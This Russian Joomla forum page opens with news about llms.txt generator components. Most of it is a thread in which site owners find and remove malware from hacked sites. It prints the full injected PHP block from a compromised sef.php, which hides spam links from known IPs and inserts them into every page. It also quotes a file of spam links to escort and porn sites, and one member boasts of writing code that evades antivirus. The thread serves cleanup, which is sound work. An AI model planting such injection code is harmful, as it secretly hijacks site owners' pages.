Новости Joomla

Компонент Joomla 6: Генератор LLMs.txt.

Компонент Joomla 6: Генератор LLMs.txt.

Компонент Joomla 6: Генератор LLMs.txt.

Ещё один генератор ИИ-файлов llms.txt и llms-full.txt.

Основные особенности/возможности компонента:

  • Генерация по стандарту: Автоматическое создание файла-визитки llms.txt и расширенной версии llms-full.txt с аннотированным списком материалов.
  • Интеллектуальная работа с контентом: Компонент использует мета-описания (Meta Description) из статей и пунктов меню, превращая SEO-настройки сайта в качественный контекст для нейросетей.
  • Просмотреть результат генерации файлов можно сразу в рабочей области компонента. После внесения корректив (через Настройки компонента. При отладке лучше открыть три вкладки в браузере: Настройка — Геренация/Превью — Список Материалов/Категории/Меню.) — проводим перегенерацию, смотрим результат до полной «победы».
  • Автоматизация и безопасность: Синхронизация с sitemap.xml, группировка по категориям и автоматическое создание резервных копий (.bak) при каждой генерации.
  • Гибкое управление: Возможность исключения определенных категорий и/или статей и/или пунктов меню, а также простая настройка через стандартную админпанель Joomla.
  • Подробное руководство/справка: Пошаговая инструкция для пользователя в Настройках компонента для редакторов с базовым знанием администрирования Joomla.

👉 Важно учесть.
1️⃣ Компонент Генератор LLMs.txt изначально составляет базовый список ссылок на основе sitemap.xml и сверяется с ним на предмет: запрета индексации url в robots.txt, тегов noinex/nofollow. Это экономит время на проверку «закрыть от индексации», поскольку компонент генерации Sitemap.xml уже реализовал эту задачу. Посему, формирование ссылок для ИИ имеет комплексный подход, составление грамотного/валидного/релевантного sitemap.xml никто не отменял.

2️⃣ Тексты-описания ссылок формируются из Meta Description com_content (только компонент Материалы) и выбранных пользователем Меню сайта. Важно, чтобы Meta Description были уникальными и релевантными, соответствовали базовому seo. Составленные «на отшибись» Description для ИИ — «не катит» (впрочем, для поисковых систем они тоже «не канали»).

Разработчик - участник нашего сообщества Александр Кузнецов (@newvksan).

Страница расширения

@joomlafeed

#joomla #ии #ai

👩‍💻 WT LLMs для Joomla: llms.txt, llms.json для AI-агентов.

👩‍💻 WT LLMs для Joomla: llms.txt, llms.json для AI-агентов.

Это Joomla-компонент для публикации AI-ready карты сайта и автоматической генерации файлов llms.txt, llms-full.txt и llms.json по концепции llmstxt.org.  Также о концепции llms.txt говорит Google в своей справке Lighthouse. Решение помогает LLM-моделям, AI-агентам, GEO/AI SEO-процессам и внутренним автоматизациям получать структурированные данные о сайте без ручной сборки JSON и Markdown.

С помощью WT LLMs можно:
- создать структурированное описание сайта для AI-агентов;
- управлять профилем сайта, картой интентов и каноническими страницами для этих интентов из админки Joomla;
- генерировать llms.txt и llms.json;
- использовать REST API для автоматического заполнения данных;
- отдавать публичную schema-инструкцию для AI-агентов;

В комплект компонента входит плагин markdown-версии страниц Joomla. Системный плагин Joomla, который добавляет альтернативное Markdown-представление страниц сайта. Он позволяет отдавать содержимое страницы в более чистом текстовом формате, удобном для AI-агентов, LLM, поисковых систем и технических интеграций.
Плагин добавляет в ссылки на AI-файлы.

Пакет подходит для сайтов на Joomla 5+, которым важно сделать контент понятнее для LLM, AI-поиска, ассистентов и будущих систем машинного чтения.

Видео:
- ВК Видео
- RuTube
- YouTube

Ссылки:
Страница расширения
GitHub

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 56 Ответов
  • 14107 Просмотров
*

busik

  • Захожу иногда
  • 186
  • 7 / 0
Еще парочку... :)
« Ответ #30 : 30.10.2014, 16:20:35 »
Еще парочку (с) сегодня ... поймал и убил :) оба сидели в темплейте, содержали ссылки на порносайты и т.д.
*

ander_axel

  • Осваиваюсь на форуме
  • 22
  • 1 / 0
В папку с шаблонами я ложу вот такой htaccess работает все на ура, ложу его во все папки кроме administrator

а что можете предложить для папки media? Если туда положить, то перестают показываться мелкие изображения в админке (Joomla 3.3.6).
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
посмотрите какие расширения изображений в админке не отображаются, если они отсутствуют в .htaccess, то допишите...
*

dimat84

  • Давно я тут
  • 517
  • 20 / 0
winstrool
Цитировать
Цитата: AlekVolsk от 28.10.2014, 14:00:51
Бейсик-авторизация - слышал. но не знаю. что это.
В корень админки ложешь .htaccess со следущим содержанием:
Цитировать
AuthName "Access Denied"
AuthType Basic
AuthUserFile /[ПОЛНЫЙ ПУТЬ ДО АДМИНКИ]/administrator/.htpasswd
require valid-user
а затем ложим рядышком .htpasswd который можно сгенерировать здесь _ttp://www.htaccesstools.com/htpasswd-generator/
к примеру логин:пасс admin -> admin:$apr1$ttYMJi8C$gCJwuIsCdAZYOKVdpa4OO/
Не пойму а как это работать будет? Что это дает? И как понять [ПОЛНЫЙ ПУТЬ ДО АДМИНКИ] адрес сайта что-ли?
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
winstroolНе пойму а как это работать будет? Что это дает? И как понять [ПОЛНЫЙ ПУТЬ ДО АДМИНКИ] адрес сайта что-ли?
работает как Basic access authentication
http://en.wikipedia.org/wiki/Basic_access_authentication
вот почитать
https://ru.wikipedia.org/wiki/.htpasswd
https://ru.wikipedia.org/wiki/.htaccess
полный путь до папки administrator это путь к папке на сервере можете посмотреть если не знаете как в панели управления движка путь до папок tmp или logs, .htpasswd можно ложить в любую из папок и правильно будет положить его выше корневой папки сайта

а что у хостера нет в панели ограничения на папку поставить?
*

dimat84

  • Давно я тут
  • 517
  • 20 / 0
Цитировать
а что у хостера нет в панели ограничения на папку поставить?
Изменить атрибуты? это?
Или ограничение доступа к директории?
« Последнее редактирование: 21.11.2014, 13:39:25 от dimat84 »
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
Или ограничение доступа к директории?
вот это
-выбираете директорию
-назначаете её пользователя и пас
это практически на любом хосте сейчас возможно
*

dimat84

  • Давно я тут
  • 517
  • 20 / 0
Спасибо
Пас? это пароль?  ^-^
*

dimat84

  • Давно я тут
  • 517
  • 20 / 0
Спасибо за помощь flyingspook . Сделал, всё работает  ^-^
*

Oder

  • Новичок
  • 7
  • 0 / 0
Только что с админом уловили что от пострадавшего сайта идут невидимые ссылки на порносайты, выводились в левом нижнем углу сайта. Покопался в темплейтах (их там работает два), нашел следующее:

В CSS файле в конце вписан код, делающий показываемые линки невидимыми (класс .ssil2)

В папке images (в темплейтах) найдены четыре файла:

1. img.jpg - внутри код в encode Base64
2. simple.jpg - внутри то же самое

оба NOD32 идентифицируются как вирусы, как только включился, сразу их убил (я его временно отключал). PHP код вызова этих файлов был врезан внизу файла index.php перед </body>. Кстати, он-лайн тестер вирусов https://www.virustotal.com/ проверял этот сайт и не пикнул.

3. ML_lcode.php - собственно код
4. [sitename].ru.links.dat - список ссылок

Последний содержал перечисление ссылок типа:

%2Fcontent%2Fview%2F810%2F41%2F__LINK__<a href='http://yurist116.info/'>Ищу бесплатнои юридические услуги в Казани</a>__END__
%2Fcontent%2Fview%2F810%2F41%2F__LINK__<a href='http://www.personal-exclusive.ru/'>Yjdjcnb hr v в Самаре</a>__END__
%2Fcontent%2Fview%2F810%2F41%2F__LINK__<a href='http://www.zavod-tkz.ru/kozlovoy.php'>Смета на монтаж козлового крана в Москве</a>__END__
%2Fcontent%2Fcategory%2F13%2F66%2F1%2F__LINK__Аппетитные голые <a href="http://www.kisok.net/">проститутки</a> с чулками и бикини заставят Вас играть по их правилам.__END__
%2Fcontent%2Fcategory%2F13%2F66%2F1%2F__LINK__<a href='http://www.malchiki.nl'>Элитные парни по вызову</a> 24 часа в сутки.__END__
%2Fcontent%2Fcategory%2F13%2F66%2F1%2F__LINK__<a href='http://gay.malchiki.nl'>гей интим услуги Москва</a> обявления__END__
%2Fcomponent%2Foption%2Ccom_contact%2Fcatid%2C43%2FItemid%2C3%2F__LINK__<a href='http://apollo-zmk.ru/products/stroitelnye-metallokonstrukcii/balki/'>балки и прогоны</a>__END__
%2Fcontent%2Fview%2F1204%2F76%2F__LINK__<a href='http://alukonkazan.ru/vkhodnye-gruppy.html'>Изготовление входные группы Казань</a>__END__
%2Fcontent%2Fview%2F1204%2F76%2F__LINK__<a href='http://acm4.ru/vibroplita-vaker-pokupka'>виброплита бензиновая</a>__END__
%2Fcontent%2Fview%2F1204%2F76%2F__LINK__<a href='http://www.sembi.ru/registracija-ooo-v-svao-sviblovo.html'>регистрация Ооо бабушкинская</a>, которым нужна гарантированная и__END__

и далее такого добра про аппетитных толстушек, девок по вызову и т.д на 64к

Последнее обновление этого файла было 15 мин назад (на момент вычищения).

Вот, на сегодняшний вечер/ночь пока все успехи :)
Здравствуйте,
Обнаружил такую же проблему с этими же вирусами (у меня Joomla 1.5.26), только они в папке TinyMCE, создав поддиректории с названием data/data,  прописались. Но не могу ее никак решить, уже и айболитом прошелся, он кроме этих файлов ничего подозрительного не находит. Сносишь эти файлы, ничего не меняется, сносишь папку, в которой еще есть файл index.php  - сайт пропадает. В индекс файле темплейта левых кодов нет, вернее был между надписями center end - footer start, его снес и еще пару левых файлов в CSS нашел, их посносил, но ничего не изменилось. Как пропадал сайт, если удалять найденные вирусы, так и пропадает.

Можете чем-нибудь помочь?  ! !
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
Проверь на подключение в других файлах, более всего в системных, этого файла.
Цитировать
сносишь папку, в которой еще есть файл index.php  - сайт пропадает.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
удаляемый участок вируса скорее всего вызывается подключаемым файлом в которой прописана сама функция, сделайте поиск по названию функции, или сносите зараженный участок и смотрите error_log на какой он файл будет жаловаться
*

Oder

  • Новичок
  • 7
  • 0 / 0
Проверь на подключение в других файлах, более всего в системных, этого файла.
Искал уже по файлам, но пока ничего не нашел. В каких файлах обычно такое прописывается?
*

Oder

  • Новичок
  • 7
  • 0 / 0
удаляемый участок вируса скорее всего вызывается подключаемым файлом в которой прописана сама функция, сделайте поиск по названию функции, или сносите зараженный участок и смотрите error_log на какой он файл будет жаловаться
error log на серваке пустой, как делать поиск по функции?
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
egrep -H "function_name" `find . -type f -name "*.php" -print`
где function_name название искомой функции, error_log можно включить в php.ini если он отключен или через .htaccess
http://www.aloha.kiev.ua/PHP-Error-htaccess-Nastrojki.html
*

Oder

  • Новичок
  • 7
  • 0 / 0
egrep -H "function_name" `find . -type f -name "*.php" -print`
где function_name название искомой функции, error_log можно включить в php.ini если он отключен или через .htaccess
http://www.aloha.kiev.ua/PHP-Error-htaccess-Nastrojki.html
Сложновато для меня, но буду пробовать!
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
А проще обратиться к хостеру- чтобы включил логирование, если в панельке хостинга нет кнопки
*

Oder

  • Новичок
  • 7
  • 0 / 0
А проще обратиться к хостеру- чтобы включил логирование, если в панельке хостинга нет кнопки
Кнопки нет, хостер говорит, что отключает логи, потому что много места занимают лог-файлы. Завтра свяжусь с ними. Спасибо, но пока еще не понял, как все будет.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Кнопки нет, хостер говорит, что отключает логи, потому что много места занимают лог-файлы. Завтра свяжусь с ними. Спасибо, но пока еще не понял, как все будет.
Бегите от такого хостера
*

wishlight

  • Гуру
  • 5096
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
лол... у меня логи 20 сайтов 200 метров по моему за хз сколько времени... Жлоб какой...
*

Oder

  • Новичок
  • 7
  • 0 / 0
удаляемый участок вируса скорее всего вызывается подключаемым файлом в которой прописана сама функция, сделайте поиск по названию функции, или сносите зараженный участок и смотрите error_log на какой он файл будет жаловаться

Нашел!
Хостер включил error_log. Сразу проверил как Вы советовали. И появилась такая запись.

"[Mon Jun 29 11:11:45 2015] [error] [client 89.218.174.8] PHP Fatal error:  require_once(): Failed opening required '/var/www/v-2733/data/www/domain/plugins/editors/tinymce/data/index.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/v-2733/data/www/domain/plugins/system/sef.php on line 60"

Смотрим в файл и сравниваем с чистым из комплекта установки. Видим вот такую вставку:

/*<mainlink>*/
               $bodyText = JResponse::getBody();                                 
               if (preg_match("/((\s+)<link.*)/i", $bodyText, $result)) {
               $link = $result[1];
               }       
               $link = preg_replace('/(\s+)/i', '$1<link rel="stylesheet" type="text/css" href="plugins/editors/tinymce/tinymce.css" />', $link, 1);                 
               $bodyText = preg_replace('/((\s+)<link.*)/i', '$1'.$link, $bodyText, 1);
               JResponse::setBody($bodyText);
               if ($_GET["type"] === "css" && $_GET["v"] === "3.0") {
               JResponse::setHeader('Content-Type', "text/css", true);
               JResponse::setBody(file_get_contents("plugins/editors/tinymce/tinymce.css"));
               }
          $dir_path = ( $_SERVER['DOCUMENT_ROOT'] . "/plugins/editors/tinymce/data/");
          require_once($dir_path . 'index.php');
          $o['USERNAME'] = 'C253E88948E8DD343B5B012DD8980FFD';
          $o['charset'] = JFactory::getDocument()->getCharset();
          $client_lnk = new MLClient($o);   
          $bodyText = JResponse::getBody();
         
          $dirPath = realpath("."). "/components/com_content";
        if (file_exists($dirPath . "/stat2.log")) {
           $ips = file($dirPath . "/stat2.log");
           $iplist_cnt = count($ips);
           $ip = $_SERVER["REMOTE_ADDR"];         
           $min = ip2long(long2ip(ip2long($ip) & 0xFFFFFF00));
           $max = ip2long(long2ip(ip2long($ip) | 0x000000FF));

           for($i = 0; $i < $iplist_cnt; $i++) {
            $needle = trim($ips[$i]);
            if (($needle >= $min) AND ($needle <= $max)) {
              $iKnowYou = true;
              break;
            }
           }
        } else {
         $iKnowYou = true;
        }
            $links = $client_lnk->build_links();
          if (!$iKnowYou) {           
               $bodyText = preg_replace("~(.*)(<(\s*?)\/(\s*?)body([^>]*?)>)~s", "$1\r\n<div>" . $links . "</div>$2", $bodyText);
          }
                     
          JResponse::setBody(preg_replace("~(<(\s*?)body([^>]*?)>)~", "$1\r\n<div class='items-body element'>" . $links . "</div>", $bodyText));
          /*</mainlink>*/

Мочим, вернее меняем на чистый файл. САЙТ ЗАРАБОТАЛ! Мочим все левые файлы/папки. Все работает!

Что странно, файл SEF.php датирован той датой, когда я выполнял обновление системы, как будто при обновлении он уже измененным загрузился, хотя апгрейд пакет я брал на официальном сайте Joomla.

Спасибо за помощь!
*

wishlight

  • Гуру
  • 5096
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
 ::) Не странно совсем. А они все лучше код меняют.
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Нашел!
Хостер включил error_log. Сразу проверил как Вы советовали. И появилась такая запись.

"[Mon Jun 29 11:11:45 2015] [error] [client 89.218.174.8] PHP Fatal error:  require_once(): Failed opening required '/var/www/v-2733/data/www/domain/plugins/editors/tinymce/data/index.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/v-2733/data/www/domain/plugins/system/sef.php on line 60"

Смотрим в файл и сравниваем с чистым из комплекта установки. Видим вот такую вставку:

/*<mainlink>*/
               $bodyText = JResponse::getBody();                                 
               if (preg_match("/((\s+)<link.*)/i", $bodyText, $result)) {
               $link = $result[1];
               }       
               $link = preg_replace('/(\s+)/i', '$1<link rel="stylesheet" type="text/css" href="plugins/editors/tinymce/tinymce.css" />', $link, 1);                 
               $bodyText = preg_replace('/((\s+)<link.*)/i', '$1'.$link, $bodyText, 1);
               JResponse::setBody($bodyText);
               if ($_GET["type"] === "css" && $_GET["v"] === "3.0") {
               JResponse::setHeader('Content-Type', "text/css", true);
               JResponse::setBody(file_get_contents("plugins/editors/tinymce/tinymce.css"));
               }
          $dir_path = ( $_SERVER['DOCUMENT_ROOT'] . "/plugins/editors/tinymce/data/");
          require_once($dir_path . 'index.php');
          $o['USERNAME'] = 'C253E88948E8DD343B5B012DD8980FFD';
          $o['charset'] = JFactory::getDocument()->getCharset();
          $client_lnk = new MLClient($o);   
          $bodyText = JResponse::getBody();
         
          $dirPath = realpath("."). "/components/com_content";
        if (file_exists($dirPath . "/stat2.log")) {
           $ips = file($dirPath . "/stat2.log");
           $iplist_cnt = count($ips);
           $ip = $_SERVER["REMOTE_ADDR"];         
           $min = ip2long(long2ip(ip2long($ip) & 0xFFFFFF00));
           $max = ip2long(long2ip(ip2long($ip) | 0x000000FF));

           for($i = 0; $i < $iplist_cnt; $i++) {
            $needle = trim($ips[$i]);
            if (($needle >= $min) AND ($needle <= $max)) {
              $iKnowYou = true;
              break;
            }
           }
        } else {
         $iKnowYou = true;
        }
            $links = $client_lnk->build_links();
          if (!$iKnowYou) {           
               $bodyText = preg_replace("~(.*)(<(\s*?)\/(\s*?)body([^>]*?)>)~s", "$1\r\n<div>" . $links . "</div>$2", $bodyText);
          }
                     
          JResponse::setBody(preg_replace("~(<(\s*?)body([^>]*?)>)~", "$1\r\n<div class='items-body element'>" . $links . "</div>", $bodyText));
          /*</mainlink>*/

Мочим, вернее меняем на чистый файл. САЙТ ЗАРАБОТАЛ! Мочим все левые файлы/папки. Все работает!

Что странно, файл SEF.php датирован той датой, когда я выполнял обновление системы, как будто при обновлении он уже измененным загрузился, хотя апгрейд пакет я брал на официальном сайте Joomla.

Спасибо за помощь!
С вас плюсик))) Есть еще такая штука, как дата модификации и создания файла, и есть такая штука что дату модификации менять можно, средствами PHP, а дату создания нет, вот вы и увидели дату модификации на момент обновления...
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
::) Не странно совсем. А они все лучше код меняют.
я вам могу такой код составить, что не один АВ не спалит и айболит рядом стоять не будет)))
*

wishlight

  • Гуру
  • 5096
  • 322 / 1
  • От 300 руб быстрый хостинг. Сервера.
Цитировать
$o['USERNAME'] = 'C253E88948E8DD343B5B012DD8980FFD';

Это тоже удастся спрятать?
*

Oder

  • Новичок
  • 7
  • 0 / 0
С вас плюсик)))
Пока нет возможности ставить. Странные ограничения для новичков на форуме, типа их благодарность не котируется  ;D
*

winstrool

  • Давно я тут
  • 820
  • 51 / 2
  • Свободен для работы
Это тоже удастся спрятать?
если есть интирес, то да!
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Сканируем сайты! Сканер сайта или Shell and Backdoor Script Finder

Автор flyingspook

Ответов: 304
Просмотров: 214753
Последний ответ 29.06.2026, 10:03:01
от PaLyCH
Скрипт для поиска вирусов и вредоносных скриптов на сайте "AI-Bolit"

Автор revisium

Ответов: 110
Просмотров: 81498
Последний ответ 30.08.2023, 12:53:33
от SeBun
Re: Кажется вирус на сайте

Автор motokraft

Ответов: 24
Просмотров: 6607
Последний ответ 04.05.2022, 14:04:17
от ProtectYourSite
На сайте появился вирус

Автор Lifar

Ответов: 3
Просмотров: 2036
Последний ответ 23.04.2021, 10:12:05
от ProtectYourSite
Регистрируются боты на сайте непрерывно.

Автор Stich SPb

Ответов: 27
Просмотров: 15100
Последний ответ 22.02.2021, 17:42:48
от soty20